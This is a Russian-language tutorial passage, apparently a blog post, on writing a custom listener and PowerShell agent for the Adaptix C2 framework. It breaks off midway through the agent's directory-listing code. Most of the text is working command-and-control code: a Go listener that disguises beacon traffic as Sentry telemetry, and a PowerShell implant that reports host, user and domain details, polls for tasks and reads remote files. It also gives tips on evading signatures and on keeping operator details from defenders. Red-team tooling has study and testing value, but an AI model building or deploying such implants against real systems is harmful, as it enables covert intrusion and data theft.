Создаём агента для Adaptix C2
Мой любимый C2 фреймворк, Adaptix - в последнее время набирает всё большую популярность. В этой статье мы рассмотрим как создать нового или адаптировать существующего агента под Adaptix C2.
Adaptix C2 выделяется среди фреймворков не только красивым и удобным интерфейсом, но и лёгкостью расширения. Добавлять BOF, агентов или листенеров достаточно просто - и в этой заметке мы наглядно это рассмотрим.
Перед началом, немного похвастаюсь своим вкладом в проект (ведь если сам себя не похвалишь..)):
- Сделал Extender (BOF) для SAM hashdump (https://github.com/Adaptix-Framework/Extension-Kit/tree/main/Creds-BOF/hashdump)
- Сделал Extender (BOF) для PSEXEC (https://github.com/Adaptix-Framework/Extension-Kit/tree/main/LateralMovement-BOF/psexec)
- +обнаружил на ранней стадии разработке command injection и пару проблем работы с BOF'ами
Статья писалась для Adaptix v0.10 - так что какие-то моменты могут измениться в будущем (пишите об этом в комменты или личку, я обновлю заметку).
Не будем особо тянуть - сразу к делу:
Что мы будем делать
Для удобства разработки, писать агента мы будем на PowerShell (и работать он будет только под Windows), а в качестве протокола для листенера будем использовать HTTP, замаскированный под телеметрию Sentry. Чтобы не усложнять разработку, остановимся на следующем функционале:
Туннели, BOFы, интерактивные терминалы и прочие фишки можете попробовать добавить самостоятельно.
Первым делом ставим Adaptix C2 (если у вас он не стоит). Как это сделать подробно описано в Wiki
Создание агента требует некоторых навыков в разработке, особенно знания Golang. Без этих знаний разобраться в теме может быть сложно.
OPSEC: Использование HTTP (без S), и реализация методов "в лоб", будет легко палиться как аналитиками, так и EDR/NTA/SIEM. Код в статье предназначен только для учебных целей!
Создаём листенер
Для начала, склонируем репозиторий с шаблонами для разработки (https://github.com/Adaptix-Framework/templates-extender):
git clone https://github.com/Adaptix-Framework/templates-extender cd templates-extender
Папка, в которой будет лежать наш Listener - listener_template_external.
Я буду следовать той же структуре файлов, что и в оригинальных Extender у Adaptix C2, и создам файл pl_http.go для реализации самого листенера.
Как видно по схеме, файл pl_listener в такой структуре кода предоставляет унифицированный интерфейс для работы с объектом листенера (код для которого будет лежать в pl_http.go).
Теперь пробежимся по файлам которые у нас есть в директории:
ax_config.axs - Определяет как будет выглядеть менюшка создания нашего листенера config.json - Конфигурация нашего листенера (имя, путь до файлов, ..) go.mod - Стандартный файл golang с зависимостями go.sum Makefile - Файл который определяет способ сборки extender pl_http.go - Тут мы будем писать код листенера (как слушать, как формировать пакеты, итд) pl_listener.go - Тут шаблонный код для управления листенером (создание/остановка) pl_main.go - Этот файл мы не меняем, шаблонный код для работы Extender
Подготавливаем окружение
До начала работы с проектом, в go.mod указываем имя модуля:
Кроме того, чтобы наш Listener установился как плагин для сервера, нужно указать правильные версии библиотек. Скопируйте содержимое go.mod из любого оригинального листенера Adaptix (Я взял beacon_listener_http), и вставьте в свой проект. В моём случае это были следующие строки (напомню, я использую Adaptix v0.10):
require (
github.com/Adaptix-Framework/axc2 v0.9.0
github.com/gin-gonic/gin v1.11.0
)
require (
github.com/bytedance/gopkg v0.1.3 // indirect
github.com/bytedance/sonic v1.14.1 // indirect
github.com/bytedance/sonic/loader v0.3.0 // indirect
github.com/cloudwego/base64x v0.1.6 // indirect
github.com/gabriel-vasile/mimetype v1.4.10 // indirect
github.com/gin-contrib/sse v1.1.0 // indirect
github.com/go-playground/locales v0.14.1 // indirect
github.com/go-playground/universal-translator v0.18.1 // indirect
github.com/go-playground/validator/v10 v10.27.0 // indirect
github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.18.0 // indirect
github.com/json-iterator/go v1.1.12 // indirect
github.com/klauspost/cpuid/v2 v2.3.0 // indirect
github.com/leodido/go-urn v1.4.0 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/pelletier/go-toml/v2 v2.2.4 // indirect
github.com/quic-go/qpack v0.5.1 // indirect
github.com/quic-go/quic-go v0.54.1 // indirect
github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
github.com/ugorji/go/codec v1.3.0 // indirect
go.uber.org/mock v0.6.0 // indirect
golang.org/x/arch v0.21.0 // indirect
golang.org/x/crypto v0.42.0 // indirect
golang.org/x/mod v0.28.0 // indirect
golang.org/x/net v0.44.0 // indirect
golang.org/x/sync v0.17.0 // indirect
golang.org/x/sys v0.36.0 // indirect
golang.org/x/text v0.29.0 // indirect
golang.org/x/tools v0.37.0 // indirect
google.golang.org/protobuf v1.36.10 // indirect
)
go mod tidy
Создаём объект листенера
Теперь приступим к написанию кода. Сперва создадим структуру для настроек листенера. Наш листенер достаточно простой, поэтому полей будет мало:
type HTTPConfig struct {
HostBind string `json:"host_bind"`
PortBind int `json:"port_bind"`
CallbackAddress string `json:"callback_address"`
}HostBind - На каком адресе листенер будет слушать
PortBind - На каком порту листенер будет слушать
CallbackAddress - Адрес, по которому агент будет стучаться на сервер. Может быть равен HostBind, а может быть и не равен - например если используем Redirector
Теперь структуру для самого листенера:
type HTTP struct {
GinEngine *gin.Engine
Server *http.Server
Config HTTPConfig
Name string
Active bool
}Определим как запускается наш листенер:
func (handler *HTTP) Start(ts Teamserver) error {
var err error = nil
// Настраиваем Gin
gin.SetMode(gin.ReleaseMode)
router := gin.New()
// Привязываем наш обработчик запросов к пути
router.POST("/api/:id/envelope", handler.processRequest)
// Инициализируем статус листенера
handler.Active = true
// Создаём HTTP сервер
handler.Server = &http.Server{
Addr: fmt.Sprintf("%s:%d", handler.Config.HostBind, handler.Config.PortBind),
Handler: router,
}
fmt.Printf(" Started listener: http://%s:%d\n", handler.Config.HostBind, handler.Config.PortBind)
// В отдельной горутине запускаем наш HTTP-сервер
go func() {
err = handler.Server.ListenAndServe()
if err != nil && !errors.Is(err, http.ErrServerClosed) {
fmt.Printf("Error starting HTTP server: %v\n", err)
return
}
handler.Active = true
}()
// Немного ждём, чтобы сервер успел подняться
time.Sleep(500 * time.Millisecond)
return err
}Код достаточно несложный. Если вам захочется добавить SSL, можно ознакомиться с оригинальным листенером BeaconHTTP - там он есть.
Cделаем возможность останавливать листенер:
func (handler *HTTP) Stop() error {
var (
ctx context.Context
cancel context.CancelFunc
err error = nil
)
ctx, cancel = context.WithTimeout(context.Background(), 3*time.Second)
defer cancel()
err = handler.Server.Shutdown(ctx)
return err
}Определяем протокол общения
Внимательные уже могли заметить, что ранее мы повесили на наш путь "/api/../envelope" функцию processRequest. Эта функция и будет содержать саму суть листенера - способ обработки запросов от агентов.
Перед тем как продолжить писать код, взглянем на типичный запрос на Sentry:
{"event_id":"a1b2c3d4e5f6g7h8","sent_at":"2025-01-01T00:00:00.000Z","sdk":{"name":"sentry.javascript.browser","version":"7.0.0"}}
{"type":"transaction"}
{"contexts":{"trace":{"trace_id":"trace123456789abc","span_id":"span123456789abc","op":"pageload","description":"Page load transaction for homepage"}},"spans":[{"span_id":"span987654321def","op":"http.client","description":"GET /api/users - Fetch user data","start_timestamp":1704067200.000,"timestamp":1704067200.100,"trace_id":"trace123456789abc"}],"start_timestamp":1704067200.000,"timestamp":1704067201.000,"transaction":"/home","type":"transaction","platform":"javascript"}Для передачи данных, я выбрал поле "description" в "span" - в него агент будет запихивать данные для передачи.
Ответ от сервера Sentry обычно содержит только одно поле - "id". За неимением лучшего, будем использовать его, а пейлоад закодируем в HEX.
Для передачи HeartBeat (данных о конфигурации агента), будем использовать поле "event_id":
OPSEC: Для такого запроса очень легко разработать сигнатуры, из-за статичных полей (например, trace_id) - поэтому их лучше рандомизировать. И сам пейлоад лучше шифровать - хотя бы двух-трёх байтовым XOR - чтобы сигнатуры HeartBeat и данных было сложнее анализировать
Таким образом, для получения данных из пакета от агента, нам нужно получить третью строку из POST-запроса, спарсить JSON и вытащить .spans[0].description.
func (handler *HTTP) processRequest(ctx *gin.Context) {
var (
ExternalIP string
err error
agentType string
agentId string
beat []byte
bodyData []byte
responseData []byte
)
// Получаем IP подключенного агента
ExternalIP = strings.Split(ctx.Request.RemoteAddr, ":")[0]
// Парсим данные переданные агентом
agentType, agentId, beat, bodyData, err = handler.parseBeatAndData(ctx)
if err != nil {
goto ERR
}
if !ModuleObject.ts.TsAgentIsExists(agentId) {
_, err = ModuleObject.ts.TsAgentCreate(agentType, agentId, beat, handler.Name, ExternalIP, true)
if err != nil {
goto ERR
}
}
_ = ModuleObject.ts.TsAgentSetTick(agentId)
_ = ModuleObject.ts.TsAgentProcessData(agentId, bodyData)
responseData, err = ModuleObject.ts.TsAgentGetHostedAll(agentId, 0x1900000) // 25 Mb
if err != nil {
goto ERR
} else {
hexEncodedResponseData := hex.EncodeToString(responseData)
response := `{"id": "` + hexEncodedResponseData + `"}`
// Формируем ответ от сервера
ctx.Writer.Header().Add("Content-Type", "application/json")
_, err = ctx.Writer.Write([]byte(response))
if err != nil {
// Если произошла ошибка, откидываем 404
fmt.Println("Failed to write to request: " + err.Error())
ctx.Writer.WriteHeader(http.StatusNotFound)
return
}
}
ctx.AbortWithStatus(http.StatusOK)
return
ERR:
// Если произошла ошибка, откидываем 404
fmt.Println("Error: " + err.Error()) // Оставим временно для отладки
ctx.Writer.WriteHeader(http.StatusNotFound)
}Эта часть кода отвечает за приём данных и отправку сформированного пакета обратно в агента. Код для парсинга данных от агента (bodyData) вынесем в отдельную функцию (parseBeatAndData).
type BeatLine struct {
EventId string `json:"event_id"`
}
type DataLine struct {
Spans []struct {
Description string `json:"description"`
} `json:"spans"`
}
func (handler *HTTP) parseBeatAndData(ctx *gin.Context) (string, string, []byte, []byte, error) {
var (
agentType uint
agentId uint
agentInfo []byte
bodyData []byte
err error
firstLine []byte
thirdLine []byte
agentData []byte
)
bodyData, err = io.ReadAll(ctx.Request.Body)
if err != nil {
return "", "", nil, nil, errors.New("missing POST data")
}
lines := bytes.Split(bodyData, []byte{'\n'})
if len(lines) < 3 {
return "", "", nil, nil, errors.New("missing data - less than 3 lines")
}
firstLine = lines[0]
thirdLine = lines[2]
// Parse beat (first line of json -> event_id)
var beatLine BeatLine
err = json.Unmarshal(firstLine, &beatLine)
if err != nil {
return "", "", nil, nil, errors.New("failed decode beat")
}
agentInfoEncoded := beatLine.EventId
agentInfo, err = hex.DecodeString(agentInfoEncoded)
if err != nil {
return "", "", nil, nil, errors.New("failed decode beat")
}
agentType = uint(binary.LittleEndian.Uint32(agentInfo[:4]))
agentInfo = agentInfo[4:]
agentId = uint(binary.LittleEndian.Uint32(agentInfo[:4]))
agentInfo = agentInfo[4:]
// Parse beat (first line of json -> event_id)
var dataLine DataLine
err = json.Unmarshal(thirdLine, &dataLine)
if err != nil {
return "", "", nil, nil, errors.New("failed decode data")
}
if len(dataLine.Spans) == 0 {
return "", "", nil, nil, errors.New("failed decode data - no spans")
}
agentDataEncoded := dataLine.Spans[0].Description
agentData, err = hex.DecodeString(agentDataEncoded)
if err != nil {
return "", "", nil, nil, errors.New("failed decode data")
}
return fmt.Sprintf("%08x", agentType), fmt.Sprintf("%08x", agentId), agentInfo, agentData, nil
}
Этот код можно условно представить в следующем виде:
- Выделяем три линии из тела запроса, считывая их из тела запроса (ctx.Request.Body)
- Парсим JSON из первой линии. Берём данные из поля "event_id", декодируем из HEX и раскладываем по полям
- Парсим JSON из третьей линии. Берём данные из поля ".spans[0].description", декодируем из HEX и отдаём как ответ агента
Интерфейс листенера
Создаём AxScript для меню (напомню, у нас используются только три поля для конфигурации листенера). Её я так же переделал из BeaconHTTP. Помните мы задавали json-тэги (`json:"host_bind"`) для параметров HTTPConfig? При создании формы AxScript, в "container.put" первым аргументом указываем именно это имя. AxScript передаст JSON с сериализованными полями на вход в наш pl_listener.go
/// PaperShell HTTP listener
function ListenerUI(mode_create)
{
// Host selector
let labelHost = form.create_label("Host & port (Bind):");
let comboHostBind = form.create_combo();
comboHostBind.setEnabled(mode_create)
comboHostBind.clear();
let addrs = ax.interfaces();
for (let item of addrs) { comboHostBind.addItem(item); }
// Port selector
let spinPortBind = form.create_spin();
spinPortBind.setRange(1, 65535);
spinPortBind.setValue(8080);
spinPortBind.setEnabled(mode_create)
// Callback selector
let labelCallback = form.create_label("Callback address:");
let textCallback = form.create_textline();
textCallback.setPlaceholder("192.168.1.1:8080");
let container = form.create_container();
container.put("host_bind", comboHostBind);
container.put("port_bind", spinPortBind);
container.put("callback_address", textCallback);
let layout = form.create_gridlayout();
let spacer1 = form.create_vspacer();
let spacer2 = form.create_vspacer();
layout.addWidget(spacer1, 0, 0, 1, 2);
layout.addWidget(labelHost, 1, 0, 1, 2);
layout.addWidget(comboHostBind, 2, 0, 1, 1);
layout.addWidget(spinPortBind, 2, 1, 1, 1);
layout.addWidget(labelCallback, 3, 0, 1, 2);
layout.addWidget(textCallback, 4, 0, 1, 2);
layout.addWidget(spacer2, 5, 0, 1, 2);
let panel = form.create_panel();
panel.setLayout(layout);
return {
ui_panel: panel,
ui_container: container
}
}
Создание формочки достаточно простое, но нужно учитывать следующие моменты:
container - это объект который будет сериализовывать входные данные от инпутов. За отрисовку он не отвечает
panel - отвечает за отрисовку элементов. Чтобы расположить элементы в panel, понадобится layout.
Больше информации про то как создавать менюшки есть в документации - https://adaptix-framework.gitbook.io/adaptix-framework/development/axscript/axform-type
Код для работы с листенером
Теперь нам нужно написать код для создания, запуска, остановки листенера через плагин (в pl_listener.go). Создаем валидатор конфига:
func (m *ModuleExtender) HandlerListenerValid(data string) error {
var (
err error
conf HTTPConfig
)
// data - это данные из AxScript
err = json.Unmarshal([]byte(data), &conf)
if err != nil {
return err
}
if conf.HostBind == "" {
return errors.New("HostBind is required")
}
if conf.PortBind < 1 || conf.PortBind > 65535 {
return errors.New("PortBind must be in the range 1-65535")
}
if conf.CallbackAddress == "" {
return errors.New("callback_address is required")
}
// Check callback address
host, portStr, err := net.SplitHostPort(conf.CallbackAddress)
if err != nil {
return fmt.Errorf("Invalid address (cannot split host:port): %s\n", conf.CallbackAddress)
}
port, err := strconv.Atoi(portStr)
if err != nil || port < 1 || port > 65535 {
return fmt.Errorf("Invalid port: %s\n", conf.CallbackAddress)
}
ip := net.ParseIP(host)
if ip == nil {
if len(host) == 0 || len(host) > 253 {
return fmt.Errorf("Invalid host: %s\n", conf.CallbackAddress)
}
parts := strings.Split(host, ".")
for _, part := range parts {
if len(part) == 0 || len(part) > 63 {
return fmt.Errorf("Invalid host: %s\n", conf.CallbackAddress)
}
}
}
return nil
}В коде проверяем что IP-адрес, порт, и IP-адрес коллбэка валидные.
Теперь пишем код для запуска нашего листенера. Этот код так же должен уметь парсить конфиг.
func (m *ModuleExtender) HandlerCreateListenerDataAndStart(name string, configData string, listenerCustomData []byte) (adaptix.ListenerData, []byte, any, error) {
var (
listenerData adaptix.ListenerData // Это то, что будет отображаться в интерфейсе и использоваться агентом
customdData []byte
)
var (
listener *HTTP
conf HTTPConfig
err error
)
// listenerCustomData может быть передана вместо конфига - если листенер стартует после перезапуска сервера
if listenerCustomData == nil {
// Парсим конфиг - он уже провалидирован, повторно не надо
err = json.Unmarshal([]byte(configData), &conf)
if err != nil {
return listenerData, customdData, listener, err
}
} else {
// Парсим конфиг - он уже провалидирован, повторно не надо
err = json.Unmarshal(listenerCustomData, &conf)
if err != nil {
return listenerData, customdData, listener, err
}
}
// Создаём листенер
listener = &HTTP{
GinEngine: gin.New(),
Name: name,
Config: conf,
Active: false,
}
// Запускаем листенер
err = listener.Start(m.ts)
if err != nil {
return listenerData, customdData, listener, err
}
listenerData = adaptix.ListenerData{
BindHost: listener.Config.HostBind,
BindPort: strconv.Itoa(listener.Config.PortBind),
AgentAddr: listener.Config.CallbackAddress,
Status: "Listen",
}
// Сохраняем конфиг в customdData
var buffer bytes.Buffer
err = json.NewEncoder(&buffer).Encode(listener.Config)
if err != nil {
return listenerData, customdData, listener, nil
}
customdData = buffer.Bytes()
return listenerData, customdData, listener, nil
}Аналогично для остановки листенера:
func (m *ModuleExtender) HandlerListenerStop(name string, listenerObject any) (bool, error) {
var (
err error = nil
ok bool = false
)
listener := listenerObject.(*HTTP) // Кастуем к нашему листенеру
if listener.Name == name {
err = listener.Stop()
ok = true
}
return ok, err
}Не уверен зачем происходит сверка имени, но она была в оригинальных плагинах Adaptix, поэтому оставим её
Реализуем HandlerListenerGetProfile для извлечения конфига из уже созданного листенера:
func (m *ModuleExtender) HandlerListenerGetProfile(name string, listenerObject any) ([]byte, bool) {
var (
object bytes.Buffer
ok bool = false
)
listener := listenerObject.(*HTTP)
if listener.Name == name {
_ = json.NewEncoder(&object).Encode(listener.Config)
ok = true
}
return object.Bytes(), ok
}Осталось реализовать всего одну функцию для работоспособности листенера - редактирование данных:
func (m *ModuleExtender) HandlerEditListenerData(name string, listenerObject any, configData string) (adaptix.ListenerData, []byte, bool) {
var (
listenerData adaptix.ListenerData
customdData []byte
ok bool = false
err error
conf HTTPConfig
)
listener := listenerObject.(*HTTP)
if listener.Name == name {
// Parse config
err = json.Unmarshal([]byte(configData), &conf)
if err != nil {
return listenerData, customdData, false
}
// Copy from new config to listener
listener.Config.CallbackAddress = conf.CallbackAddress
listener.Config.HostBind = conf.HostBind
listener.Config.PortBind = conf.PortBind
listenerData = adaptix.ListenerData{
BindHost: listener.Config.HostBind,
BindPort: strconv.Itoa(listener.Config.PortBind),
AgentAddr: listener.Config.CallbackAddress,
Status: "Listen",
}
if !listener.Active {
listenerData.Status = "Closed"
}
var buffer bytes.Buffer
err = json.NewEncoder(&buffer).Encode(listener.Config)
if err != nil {
return listenerData, customdData, false
}
customdData = buffer.Bytes()
ok = true
}
return listenerData, customdData, ok
}С самой простой частью закончили)) Код выше по большей части шаблонный, но его легко менять под свои требования - например сделать External C2 или реализовать общение через DNS.
Собираем листенер
Теперь нам нужно отредактировать Makefile - вместо _LISTENER_ указать имя нашего листенера/агента. Я назвал его PaperShell:
all: clean @ echo " * Building listener_papershell_http plugin" @ mkdir dist @ cp config.json ax_config.axs ./dist/ @ go build -buildmode=plugin -ldflags="-s -w" -o ./dist/papershell_http.so pl_main.go pl_listener.go pl_http.go @ echo " done..." clean: @ rm -rf dist
Кроме того, на строчке с "go build", нужно дописать все файлы которые нужны для компиляции - в нашем случае нужно добавить "pl_http.go"
И меняем конфиг под наш листенер:
{
"extender_type": "listener",
"extender_file": "papershell_http.so",
"ax_file": "ax_config.axs",
"listener_name": "PaperShellHTTP",
"listener_type": "external",
"protocol": "http"
}cp -r ./dist ~/Tools/AdaptixC2/Extenders/listener_papershell_http
Собираем Extender'ы из папки AdaptixC2:
cd ~/Tools/AdaptixC2 make
Добавим экстендер в profile.json:
Проверим что листенер работает на правильном порту:
Итак, листенер готов и слушает порт. Пора создать того, кто будет с ним говорить - нашего агента.
Создаём агента
Шаблон для агента находится в "agent_template". Я сразу переименую его в papershell_agent:
Так же как и в листенере, pl_main.go мы не будем трогать. pl_agent.go будет содержать логику генерации нового агента и упаковки данных для него.
Для кода самого агента я создам папку "src_papershell":
Для отладки генерации агента, положим в него такую заглушку:
Write-Host "Stub agent. Callback: <CALLBACK_HOST>:<CALLBACK_PORT>, Watermark: <WATERMARK>"
Начнём с двух простых функций, которые мы не задействуем - шифрование и дешифровка данных. Для OPSEC лучше их всё же реализовать, но в данном случае я их не использую:
func AgentEncryptData(data []byte, key []byte) ([]byte, error) {
return data, nil
}
func AgentDecryptData(data []byte, key []byte) ([]byte, error) {
return data, nil
}Функция для генерации профиля тоже не обязательна - для таких скриптов как powershell, паковать данные в профиль совсем не обязательно - мы можем подставить их прямо в код, поэтому функцию можно оставить в таком виде:
func AgentGenerateProfile(agentConfig string, listenerWM string, listenerMap map[string]any) ([]byte, error) {
return nil, nil
}Пишем функцию для генерации агента из параметров. Мы будем использовать только параметры листенера и водяной знак (для идентификации агента):
func AgentGenerateBuild(agentConfig string, agentProfile []byte, listenerMap map[string]any) ([]byte, string, error) {
var (
Filename string
buildContent []byte
)
// Получаем нужные параметры подключения
callbackHost, callbackPort, _ := net.SplitHostPort(strings.TrimSpace(listenerMap["callback_address"].(string)))
// Собираем агента
currentDir := ModuleDir
Filename = "agent.ps1"
agentContentBytes, err := os.ReadFile(currentDir + "/src_papershell/agent.ps1")
if err != nil {
return nil, "", err
}
agentContent := string(agentContentBytes)
agentContent = strings.ReplaceAll(agentContent, "<CALLBACK_HOST>", callbackHost)
agentContent = strings.ReplaceAll(agentContent, "<CALLBACK_PORT>", callbackPort)
agentContent = strings.ReplaceAll(agentContent, "<WATERMARK>", AgentWatermark)
buildContent = []byte(agentContent)
return buildContent, Filename, nil
}Не будем усложнять агента упаковкой и распаковкой бинарных данных - воспользуемся привычным JSON для общения с сервером. Напишем стартовый код для упаковки команды в данные для агента:
func CreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
var (
taskData adaptix.TaskData
messageData adaptix.ConsoleMessageData
err error
)
command, ok := args["command"].(string)
if !ok {
return taskData, messageData, errors.New("'command' must be set")
}
// subcommand, _ := args["subcommand"].(string)
taskData = adaptix.TaskData{
Type: TYPE_TASK,
Sync: true,
}
messageData = adaptix.ConsoleMessageData{
Status: MESSAGE_INFO,
Text: "",
}
messageData.Message, _ = args["message"].(string)
commandData := make(map[string]string)
commandData["command"] = command
switch command {
case "cat":
path, ok := args["path"].(string)
if !ok {
err = errors.New("paramter 'path' must be set")
goto RET
}
commandData["path"] = path
default:
err = errors.New(fmt.Sprintf("Command '%v' not found", command))
goto RET
}
taskData.Data, err = json.Marshal(commandData)
if err != nil {
goto RET
}
RET:
return taskData, messageData, err
}all: clean @ echo " * Building agent_papershell plugin" @ mkdir dist @ cp config.json ax_config.axs ./dist/ @ cp -r src_papershell ./dist/ @ go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_papershell.so pl_main.go pl_agent.go @ echo " done..." clean: @ rm -rf dist
В него я добавил копирование исходников нашего агента (src_papershell)
{
"extender_type": "agent",
"extender_file": "agent_papershell.so",
"ax_file": "ax_config.axs",
"agent_name": "papershell",
"agent_watermark": "ab0ba000",
"listeners": [ "PaperShellHTTP"]
}Watermark должен быть уникальный, он поможет отличать нашего агента от других. В других местах Adaptix Watermark может называться AgentType.
И создадим AxScript для меню генерации агента и для регистрации команд:
/// PAPERSHELL_AGENT
function RegisterCommands(listenerType)
{
/// Commands Here
let cmd_cat = ax.create_command("cat", "Read first 2048 bytes of the specified file", "cat C:\\file.exe", "Task: read file");
cmd_cat.addArgString("path", true);
if(listenerType == "PaperShellHTTP") {
let commands_external = ax.create_commands_group("papershell", [cmd_cat] );
return { commands_windows: commands_external }
}
return ax.create_commands_group("none",[]);
}
function GenerateUI(listenerType)
{
// Пустая форма
let container = form.create_container()
let panel = form.create_panel()
return {
ui_panel: panel,
ui_container: container
}
}Кстати, если вы хотите чтобы команды для агента можно было вводить мышой из контекстного меню, то это так же добавляется в AxScript
Как мы видем, всё сгенерировалось корректно:
Реализуем функции в агенте
Заметка явно затянулась, но мы уже недалеко от цели. Напомню, что в начале мы планировали реализовать только базовый набор команд. Конкретизируем его:
- cat path - Прочитать файл
- ls [path] - Содержимое директории
- cd path - Переход в директорию
- ps run executable args.. - Запуск процесса с параметрами (с захватом вывода)
Сам цикл работы агента будет построен следующим образом:
- Генерируем BEAT
- Отправляем запрос на получение данных с сервера, передаём на сервер блок начальных данных (os/username/domain/...)
- Если с сервера пришла задача (их может прийти сразу несколько за раз), выполняем её, результат выполнения каждой по отдельности отправляем на сервер
- Если не пришла, спим 10 секунд, пробуем получить снова
Кстати, данные инциализации (шаг 2) передаются прямо в BEAT. В листенере мы делали, чтобы первые 4 байта BEAT были типом агента, следующие 4 байта - ID. Для инициализирующего пакета после этих 8 байт допишем JSON с данными для регистрации агента.
Тогда начало нашего агента будет следующим:
$randomId = [int32](Get-Random -Maximum ([int32]::MaxValue + 1))
$agentId = [int32](Get-Random -Maximum ([int32]::MaxValue + 1))
$agentType = 0xab0ba000
$bytesAgentId = [BitConverter]::GetBytes($agentId)
$bytesAgentType = [BitConverter]::GetBytes($agentType)
$beat = $bytesAgentType + $bytesAgentId
$hexStringBeat = [System.BitConverter]::ToString($beat) -replace '-'
$uri = "http://<CALLBACK_HOST>:<CALLBACK_PORT>/api/" + $randomId + "/envelope"
$initialData = @{
domain = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties().DomainName
username = "$env:USERDOMAIN\$env:USERNAME"
computer = $env:COMPUTERNAME
internal_ip = (Test-Connection -ComputerName $env:COMPUTERNAME -Count 1).IPV4Address.IPAddressToString
} | convertto-json
$global:isInitial = $true
function SendData($result) {
# Send data to server using hex encoding and receive answer from server
$hexStringData = ""
if ($result.Count -ne 0) {
$encoded = convertto-json -Depth 3 $result
$bytes = [System.Text.Encoding]::UTF8.GetBytes($encoded)
$hexStringData = [System.BitConverter]::ToString($bytes) -replace '-'
}
$additionalBeat = ""
if ($global:isInitial) {
$additionalBeat = [System.BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($initialData)) -replace '-'
$global:isInitial = $false
}
$body = '{"event_id":"' + $hexStringBeat + $additionalBeat + '","sent_at":"2025-01-01T00:00:00.000Z","sdk":{"name":"sentry.javascript.browser","version":"7.0.0"}}
{"type":"transaction"}
{"contexts":{"trace":{"trace_id":"trace123456789abc","span_id":"span123456789abc","op":"pageload"}},"spans":[{"span_id":"span987654321def","op":"http.client","description":"' + $hexStringData + '","start_timestamp":1704067200.000,"timestamp":1704067200.100,"trace_id":"trace123456789abc"}],"start_timestamp":1704067200.000,"timestamp":1704067201.000,"transaction":"/home","type":"transaction","platform":"javascript"}
'
$response = Invoke-WebRequest -Uri $uri -Method POST -Body $Body
$encodedTaskData = ($response.Content | convertfrom-json).id
if ($encodedTaskData -eq "") {
return New-Object System.Collections.ArrayList
}
$hexBytes = $encodedTaskData -split '(..)' | Where-Object { -not [String]::IsNullOrEmpty($_) }
foreach ($hexByte in $hexBytes) {
# Convert each hex pair to an integer (base 16) and then to a character
$asciiString += [char]([convert]::ToInt32($hexByte, 16))
}
$taskData = $asciiString | ConvertFrom-Json
return $taskData
}
$TaskData = SendData(@())
Достаточно прямолинейный код для кодирования данных и отправки на сервер по HTTP.
$TaskResults = New-Object System.Collections.ArrayList
$TaskResults.Clear()
while ($true) {
$TaskData = SendData($TaskResults)
$TaskResults.Clear()
foreach ($task in $TaskData) {
write-output $task
$taskId = $task.task_id
# Decode task data
$jsonData = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($task.task_data))
$data = ConvertFrom-Json $jsonData
# Здесь будет реализация команд
}
Start-Sleep 10
}И реализацию первой команды (cat):
if ($data.command -eq "cat") {
$path = $data.path
$result = [System.IO.File]::ReadAllBytes($path)
$responseData = @{
command = $data.command
path = $data.path
content = $result
taskId = $taskId
}
$TaskResults.Add($responseData)
}Для обработки первого пакета (инициализируещего), реализуем "CreateAgent". Эта функция будет обрабатывать HeatBeat в первом пакете от агента и добавлять метаданные.
type InitialData struct {
Domain string `json:"domain"`
Username string `json:"username"`
Computer string `json:"computer"`
InternalIP string `json:"internal_ip"`
}
func CreateAgent(initialData []byte) (adaptix.AgentData, error) {
var agentData adaptix.AgentData
fmt.Printf("res: %v\n", initialData)
var parsedData InitialData
err := json.Unmarshal(initialData, &parsedData)
if err != nil {
return agentData, err
}
// Fill data: domain, computer, username, internalip
agentData.Domain = parsedData.Domain
agentData.Username = parsedData.Username
agentData.Computer = parsedData.Computer
agentData.InternalIP = parsedData.InternalIP
// Мы не шифруем данные
agentData.SessionKey = []byte("NULL")
return agentData, nil
}Теперь подготовим код для формирования пакетов задач (снова закодируем всё в обычный JSON):
type AgentTaskData struct {
TaskId string `json:"task_id"`
TaskData []byte `json:"task_data"`
}
func PackTasks(agentData adaptix.AgentData, tasksArray []adaptix.TaskData) ([]byte, error) {
var tasks []AgentTaskData
// Урезаем данные задач для передачи агенту
for _, task := range tasksArray {
tasks = append(tasks, AgentTaskData{
TaskId: task.TaskId,
TaskData: task.Data
})
}
packData, err := json.Marshal(tasks)
if err != nil {
return nil, err
}
return packData, nil
}Потребовалось добавить цикл для урезания объектов задач - adaptix.TaskData содержит слишком много информации (например имя пользователя который поставил задачу), которую лучше не отправлять в агент - иначе злые аналитики повыдёргивают и задеанонят :).
И добавляем код для обработки ответов агента (пока реализуем только команду "cat"):
type ResultData struct {
Path string `json:"path"`
Command string `json:"command"`
Content []byte `json:"content,omitempty"`
TaskId string `json:"taskId"`
}
func ProcessTasksResult(ts Teamserver, agentData adaptix.AgentData, taskData adaptix.TaskData, packedData []byte) []adaptix.TaskData {
var outTasks []adaptix.TaskData
var resultData []ResultData
err := json.Unmarshal(packedData, &resultData)
if err != nil {
return outTasks
}
for _, taskResult := range resultData {
command := taskResult.Command
switch command {
case "cat":
path := taskResult.Path
fileContent := taskResult.Content
task := taskData
task.TaskId = taskResult.TaskId
task.Message = fmt.Sprintf("'%v' file content:", path)
task.ClearText = string(fileContent)
outTasks = append(outTasks, task)
default:
continue
}
}
return outTasks
}Пересоберём агента для теста и проверим:
make
Добавляем оставшиеся функции
Теперь реализуем функции работы с файловой системой (cd, ls).
На агенте (src_papershell/agent.ps1):
elseif ($data.command -eq "cd") {
$path = $data.path
Set-Location -Path $path -ErrorAction Stop[Environment]::CurrentDirectory = (Get-Location -PSProvider FileSystem).ProviderPath # For .NET
$currentLocation = Get-Location
$responseData = @{
command = $data.command
path = $path
new_path = $currentLocation.Path
taskId = $taskId
}
$TaskResults.Add($responseData)
} elseif ($data.command -eq "ls") {
$path = if ($data.path) { $data.path } else { Get-Location } # If no path is sent, ls current dir
$path = $path.Path
$items = Get-ChildItem -Path $path -ErrorAction Stop
$fileList = @()
foreach ($item in $items) {
$fileList += [PSCustomObject]@{
Name = $item.Name
FullName = $item.FullName
